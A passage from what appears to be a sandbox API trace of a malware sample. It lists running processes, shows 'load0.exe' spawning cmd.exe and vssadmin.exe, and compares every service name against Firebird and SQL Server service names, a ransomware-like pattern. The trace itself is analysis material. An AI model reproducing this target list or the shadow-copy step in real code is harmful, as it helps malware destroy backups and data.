th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.461] lstrlenW (lpString="svchost.exe") returned 11 [0250.461] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.462] lstrlenW (lpString="spoolsv.exe") returned 11 [0250.462] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.463] lstrlenW (lpString="svchost.exe") returned 11 [0250.463] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.464] lstrlenW (lpString="audiodg.exe") returned 11 [0250.464] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0250.465] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0250.465] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0250.466] lstrlenW (lpString="Memory Compression") returned 18 [0250.466] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0250.502] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0250.502] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.503] lstrlenW (lpString="taskhostw.exe") returned 13 [0250.503] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.504] lstrlenW (lpString="sihost.exe") returned 10 [0250.504] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.505] lstrlenW (lpString="svchost.exe") returned 11 [0250.505] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.506] lstrlenW (lpString="taskhostw.exe") returned 13 [0250.506] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0250.507] lstrlenW (lpString="msoia.exe") returned 9 [0250.508] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.509] lstrlenW (lpString="explorer.exe") returned 12 [0250.509] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.510] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0250.510] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.511] lstrlenW (lpString="SearchUI.exe") returned 12 [0250.511] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.512] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0250.512] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.513] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0250.513] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0250.514] lstrlenW (lpString="load0.exe") returned 9 [0250.514] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0250.515] lstrlenW (lpString="cmd.exe") returned 7 [0250.515] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0250.516] lstrlenW (lpString="conhost.exe") returned 11 [0250.516] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0250.517] lstrlenW (lpString="consent.exe") returned 11 [0250.517] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0250.518] lstrlenW (lpString="vssadmin.exe") returned 12 [0250.518] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0250.519] CloseHandle (hObject=0x1280) returned 1 [0250.519] Sleep (dwMilliseconds=0x1f4) [0251.252] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64708 [0251.253] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0251.253] GetLastError () returned 0xea [0251.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3fb5d18 [0251.253] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fb5d18, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fb5d18, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0251.254] CloseServiceHandle (hSCObject=0x3f64708) returned 1 [0251.255] lstrlenW (lpString="Appinfo") returned 7 [0251.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0251.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0251.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0251.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0251.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0251.255] lstrlenW (lpString="AppXSvc") returned 7 [0251.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0251.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0251.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0251.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0251.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0251.255] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0251.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.256] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0251.256] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0251.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0251.256] lstrlenW (lpString="Audiosrv") returned 8 [0251.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0251.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0251.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0251.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0251.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0251.256] lstrlenW (lpString="BFE") returned 3 [0251.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0251.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0251.256] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0251.256] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0251.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0251.256] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0251.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0251.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0251.257] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0251.257] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0251.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0251.257] lstrlenW (lpString="CDPSvc") returned 6 [0251.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0251.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0251.257] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0251.257] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0251.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0251.257] lstrlenW (lpString="ClickToRunSvc") returned 13 [0251.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0251.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0251.257] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0251.257] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0251.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0251.257] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0251.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0251.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0251.258] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0251.258] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0251.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0251.258] lstrlenW (lpString="CryptSvc") returned 8 [0251.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0251.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0251.258] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0251.258] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0251.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0251.258] lstrlenW (lpString="DcomLaunch") returned 10 [0251.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.258] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0251.258] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0251.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0251.258] lstrlenW (lpString="DeviceAssociationService") returned 24 [0251.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0251.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0251.258] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0251.258] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0251.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0251.258] lstrlenW (lpString="Dhcp") returned 4 [0251.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0251.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0251.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0251.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0251.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0251.258] lstrlenW (lpString="Dnscache") returned 8 [0251.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0251.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0251.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0251.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0251.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0251.259] lstrlenW (lpString="DPS") returned 3 [0251.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0251.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0251.259] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0251.259] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0251.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0251.259] lstrlenW (lpString="DusmSvc") returned 7 [0251.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0251.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0251.259] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0251.259] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0251.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0251.259] lstrlenW (lpString="EventLog") returned 8 [0251.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0251.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0251.259] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0251.259] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0251.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0251.259] lstrlenW (lpString="EventSystem") returned 11 [0251.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0251.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0251.259] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0251.260] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0251.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0251.260] lstrlenW (lpString="FontCache") returned 9 [0251.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0251.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0251.260] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0251.260] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0251.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0251.260] lstrlenW (lpString="gpsvc") returned 5 [0251.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0251.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0251.260] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0251.260] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0251.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0251.260] lstrlenW (lpString="iphlpsvc") returned 8 [0251.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.260] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0251.260] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0251.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0251.260] lstrlenW (lpString="KeyIso") returned 6 [0251.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0251.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0251.261] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0251.261] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0251.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0251.261] lstrlenW (lpString="LanmanServer") returned 12 [0251.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0251.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0251.261] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0251.261] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0251.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0251.261] lstrlenW (lpString="LanmanWorkstation") returned 17 [0251.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.261] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0251.261] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0251.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0251.261] lstrlenW (lpString="lfsvc") returned 5 [0251.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0251.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0251.261] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0251.261] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0251.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0251.262] lstrlenW (lpString="lmhosts") returned 7 [0251.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0251.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0251.262] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0251.262] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0251.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0251.262] lstrlenW (lpString="LSM") returned 3 [0251.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0251.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0251.262] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0251.262] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0251.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0251.262] lstrlenW (lpString="MpsSvc") returned 6 [0251.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0251.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0251.262] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0251.262] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0251.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0251.262] lstrlenW (lpString="NcbService") returned 10 [0251.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0251.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0251.262] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0251.262] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0251.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0251.557] lstrlenW (lpString="netprofm") returned 8 [0251.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0251.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0251.557] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0251.557] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0251.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0251.557] lstrlenW (lpString="NgcSvc") returned 6 [0251.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0251.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0251.557] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0251.557] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0251.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0251.557] lstrlenW (lpString="NlaSvc") returned 6 [0251.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0251.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0251.557] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0251.557] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0251.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0251.557] lstrlenW (lpString="nsi") returned 3 [0251.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0251.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0251.557] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0251.557] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0251.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0251.557] lstrlenW (lpString="PcaSvc") returned 6 [0251.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0251.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0251.557] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0251.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0251.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0251.558] lstrlenW (lpString="PlugPlay") returned 8 [0251.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0251.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0251.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0251.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0251.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0251.558] lstrlenW (lpString="Power") returned 5 [0251.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0251.558] lstrcmpiW 